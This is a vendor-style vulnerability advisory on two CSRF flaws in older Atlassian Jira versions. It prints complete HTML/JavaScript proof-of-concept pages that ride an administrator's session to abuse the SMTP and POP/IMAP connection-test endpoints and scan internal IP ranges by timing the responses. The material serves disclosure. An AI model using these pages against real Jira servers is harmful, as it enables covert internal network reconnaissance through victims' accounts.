Atlassian Jira Multiple CSRF

Medium

Tenable has discovered a couple of CSRF issues in Atlassian Jira before version 8.7.0

CVE-2019-20098: CSRF via SMTP Server Connection Testing

When configuring an SMTP Server Connection, the “Test Connection” functionality does not properly validate the referrer or atl_token attributes. This allows for a CSRF that could enumerate hosts available to the JIRA server. Our researcher created a host discovery web page as a proof of concept.

 <html>
  <head>
    <meta name="referrer" content="no-referrer">
  </head>
  <body>
    <h2>CSRF Host Discovery Scanner via the SMTP Server</h2>
    <p><button onclick="startScan()">scan</button>
    <br>
    <textarea id="textarea" rows=34 cols=50></textarea>
    <script>
      function startScan() {
        document.getElementById("textarea".value="");
        scan(220, 250, 25);
      }
      function scan(ip1, ip2, port) {
        var timer = 0;
        var xhttp = new XMLHttpRequest();
        xhttp.onreadystatechange = function() {
          if (xhttp.readyState == 1) {
            timer = Date.now();
          }
          else if (xhttp.readyState == 4) {
            timer = Date.now() - timer;
            document.getElementById("textarea").value += "\nip: " + scanIp + " \tResponse time: " + timer + "ms";
            if (ip1 < ip2) {
              scan(ip1 + 1, ip2, port);
            }
          }
          else {
            document.getElementById("textarea").value += "\nip: " + scanIp + "\tReadyState = " + xttp.readyState + "\n";
          }
        }
        var scanIp = "[ip_address_minus_lower_octet]" + ip1.toString();
        data = "name=bob&description=desc&from=bob%40email.com&prefix=prefix&protocol=smtp&serverName=" + scanIp
             + "&port=" + port.toString() + "&timeout=10000&username=&password=&jndiLocation=&id=10000&type=smtp";
        xhttp.open("POST", "http://[ipaddress]:8080/secure/admin/VerifySmtpServerConnection!update.jspa", true);
        xhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
        xhttp.withCredentials = true;
        xhttp.send(data);
      }
    </script>
  </body>
</html>

This code generates a request to the Jira server to verify the SMTP server connection for a range of IP addresses. The script times the delay between the readyState transition from 1 to 4, and posts it on a textArea on the web page. When completed, this page will show a list of hosts and their response times. Hosts that timeout or take too long to respond are considered down, whereas existing hosts will respond relatively quickly. In our testing, we’ve found this tool to be reliable and consistent with other host enumeration tools such as nmap.

CVE-2019-20099: CSRF via POP / IMAP Mail Connection Testing

Similar to the above, a CSRF exists in the Test Connection functionality available when creating POP and IMAP connections. The following script was created to demonstrate this flaw:

<html>
  <head>
    <meta name="referrer" content="no-referrer">
  </head>
  <body>
    <h2>CSRF Host Discovery Scanner via the POP3 Server</h2>
    <p><button onclick="startScan()">scan</button>
    <br>
    <textarea id="textarea" rows=34 cols=50></textarea>
    <script>
      function startScan() {
        document.getElementById("textarea".value="");
        scan(220, 250, 110);
      }
      function scan(ip1, ip2, port) {
        var timer = 0;
        var xhttp = new XMLHttpRequest();
        xhttp.onreadystatechange = function() {
          if (xhttp.readyState == 1) {
            timer = Date.now();
          }
          else if (xhttp.readyState == 4) {
            timer = Date.now() - timer;
            document.getElementById("textarea").value += "\nip: " + scanIp + " \tResponse time: " + timer + "ms";
            if (ip1 < ip2) {
              scan(ip1 + 1, ip2, port);
            }
          }
          else {
              document.getElementById("textarea").value += "readyState = " + xttp.readyState + "\n";
            }
        }
        var scanIp = "[ipaddress_without_lower_octet]" + ip1.toString();
        data = "name=u&description=u&serviceProvider=custom&protocol=pop3&serverName=" + scanIp + "&port=" + port.toString()
             + "&timeout=10000&username=admin&changePassword=true&password=test123&type=pop";
        xhttp.open("POST", "http://[ipaddress]:8080/secure/admin/VerifyPopServerConnection!add.jspa", true);
        xhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
        xhttp.withCredentials = true;
        xhttp.send(data);
      }
    </script>
